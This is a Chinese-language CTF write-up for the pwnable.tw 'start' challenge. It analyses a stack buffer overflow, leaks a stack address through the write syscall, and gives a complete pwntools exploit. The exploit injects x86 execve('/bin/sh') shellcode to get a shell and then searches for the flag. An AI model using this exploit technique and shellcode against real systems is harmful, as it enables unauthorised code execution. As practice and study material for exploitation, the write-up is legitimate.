题目网站:

https://pwnable.tw/challenge/

分析题目:

在IDA下,还算是看得挺明显的,利用了0x80的syscall,即相当于执行了两个函数:

syscall(write, 1, 0x14)

syscall(read, 0, 0x3C)

但是明显看到:在恢复堆栈的时候,代码是add esp, 14h,即存在缓冲区溢出

意味着,我们在read时可以利用缓冲区溢出提权 => 需要泄露栈地址,在覆盖函数覆盖地址时填入,配合栈上shellcode即可

利用write函数泄露地址:

如果我们在执行完一次write + read之后,让EIP跳到0x8048087处,此时的esp已经复原(执行过了add esp, 14h),在mov ecx, esp之后,write函数执行为syscall(write, 1, stack_addr)

结合x86的shellcode布置到栈上即可!

#!/usr/bin/env python
# coding=utf-8

from pwn import *

#io = process("./start")
io = remote("chall.pwnable.tw", 10000)

io.recv()
addr = 0x08048087
payload = "A" * 0x14 + p32(addr)
io.send(payload)
stack_addr = u32(io.recv(4))

print "[+]stack addr = " + hex(stack_addr)

shell = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = "A" * 0x14 + p32(stack_addr + 20) + shell
io.sendline(payload)
io.interactive()

这里有个问题:

exp运行时执行了两次start函数,第一次用的是io.send()函数,如果用io.sendline()函数,程序会报错~很奇怪

第二个用什么都可以

find / -name flag

参考链接:

https://www.freebuf.com/vuls/179724.html